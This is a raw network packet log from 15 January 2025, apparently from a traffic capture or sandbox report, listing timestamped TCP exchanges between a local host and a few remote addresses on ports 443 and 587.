Jan 15, 2025 03:37:11.327008963 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.329159975 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.329240084 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.329360962 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.333065987 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.333103895 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.333170891 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.333367109 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.333395958 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.337357044 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.337569952 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.337588072 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.338691950 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.338977098 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.339087009 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.339097023 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.339152098 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.363344908 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.371351004 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.373724937 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.373738050 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.373764992 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.376792908 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.377021074 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.377037048 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.378144979 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.378417015 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.378514051 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.378525019 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.378597021 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.388839006 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.396614075 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:11.396833897 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:11.396895885 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:11.400451899 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:11.400537014 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:11.401423931 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:11.401552916 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:11.401567936 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:11.401607037 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:11.407818079 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.408272982 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.408298969 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.409368992 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:11.409522057 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:11.409670115 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:11.411870956 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.411961079 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.412111044 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:11.412295103 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.412384987 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.412405968 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.413139105 CET	49816	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:11.418081045 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:11.418173075 CET	49816	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:11.422065020 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.422068119 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.455377102 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.456556082 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:11.456604958 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.456617117 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:11.456687927 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.500314951 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.500382900 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:11.635729074 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.635762930 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.635822058 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.635833025 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.636265993 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.636272907 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.636290073 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.636301041 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.636445999 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.636467934 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.636467934 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.636496067 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.636545897 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.636603117 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.636603117 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.636915922 CET	49805	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.636953115 CET	443	49805	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.637243986 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.637286901 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.637362957 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.637998104 CET	49817	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.638015985 CET	443	49817	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.641150951 CET	49803	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.641181946 CET	443	49803	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.641534090 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.641618967 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.641776085 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.642278910 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.642321110 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.713752031 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.713802099 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.713823080 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.713845015 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.713856936 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.713881016 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.713900089 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.713912010 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.713912010 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.713932037 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.713964939 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.713974953 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.713989019 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.714123964 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.714178085 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.714731932 CET	49804	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.714746952 CET	443	49804	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.715053082 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.715076923 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.715143919 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.715396881 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.715423107 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.715490103 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.715519905 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.715542078 CET	49819	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.715550900 CET	443	49819	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.715573072 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.717489958 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.717554092 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.717593908 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.717597961 CET	49807	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.717611074 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.717628956 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.717629910 CET	443	49807	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.717679977 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.717700005 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.717741013 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.719917059 CET	49806	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.719933033 CET	443	49806	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.721996069 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.722084045 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.722299099 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.722455025 CET	49820	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.722490072 CET	443	49820	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.727622986 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.727684975 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.727751017 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.728327990 CET	49821	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.728352070 CET	443	49821	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.881931067 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.882133961 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.882158041 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.883698940 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.883759975 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.884022951 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.884119987 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.884129047 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.884337902 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.884488106 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.884495974 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.885999918 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.886058092 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.886305094 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.886379004 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.886384010 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.887176037 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.887470007 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.887535095 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.888062954 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.888226032 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.888259888 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.888791084 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.889038086 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.889105082 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.889120102 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.889277935 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.891850948 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.891923904 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.892252922 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.892321110 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.892366886 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.892879963 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.893040895 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.893049002 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.893686056 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.893798113 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.894129038 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.894212008 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.894367933 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.894385099 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.894911051 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.897917986 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.897989988 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.898240089 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.898348093 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.898360968 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.898408890 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.920392036 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:11.920572042 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:11.920634031 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:11.922005892 CET	49802	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:11.922043085 CET	443	49802	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:11.931330919 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.931348085 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.935358047 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.936789036 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.936794043 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.936805010 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.936815023 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.936813116 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.936829090 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.936856031 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.939321995 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.951487064 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.951710939 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.951749086 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.952563047 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.952577114 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.953180075 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.953239918 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.953440905 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.953522921 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:11.953533888 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.987417936 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.990415096 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.990422964 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:11.995359898 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.002686977 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.002748013 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.005218983 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.048633099 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.127957106 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.127990007 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.128001928 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.128046989 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.128057957 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.128073931 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.128118992 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.129712105 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.129735947 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.129781961 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.129801035 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.129812956 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.129843950 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.129861116 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.139636993 CET	49813	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.139661074 CET	443	49813	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.142071962 CET	49811	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.142091036 CET	443	49811	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.146224976 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.146311045 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.146420956 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.146616936 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.146641970 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.150449038 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.150471926 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.150602102 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.150774002 CET	49825	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.150784016 CET	443	49825	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.158773899 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.158835888 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.158858061 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.158895969 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.159029961 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.159030914 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.159030914 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.159101963 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.159351110 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.159459114 CET	443	49810	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.159529924 CET	49810	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.161698103 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.161750078 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.161772013 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.161827087 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.161855936 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.161906958 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.161938906 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.161986113 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.162038088 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.162070990 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.162101984 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.162446976 CET	49814	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.162475109 CET	443	49814	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.167946100 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.167954922 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.168009043 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.168186903 CET	49827	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.168195009 CET	443	49827	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.187640905 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.187664032 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.187670946 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.187721014 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.187742949 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.187757015 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.187762976 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.187781096 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.187787056 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.187800884 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.187827110 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.188600063 CET	49815	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.188613892 CET	443	49815	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.191649914 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.191668034 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.191730976 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.191860914 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.191871881 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.224733114 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.224797964 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.224843979 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.224853992 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.224881887 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.224905014 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.224930048 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.230478048 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.230531931 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.230551958 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.230570078 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.230593920 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.230608940 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.230616093 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.230629921 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.230659008 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.230671883 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.230717897 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.230719090 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.233643055 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.233897924 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.233962059 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.234457016 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.234751940 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.234844923 CET	443	49818	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.234848022 CET	49818	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.251074076 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.251143932 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.251158953 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.251213074 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.251255035 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.251281023 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.251447916 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.251449108 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.251466990 CET	443	49812	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.251523972 CET	49812	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.253343105 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.253420115 CET	49809	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:12.253427982 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.253684044 CET	443	49809	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:12.253734112 CET	49809	443	192.168.2.4	45.63.57.89
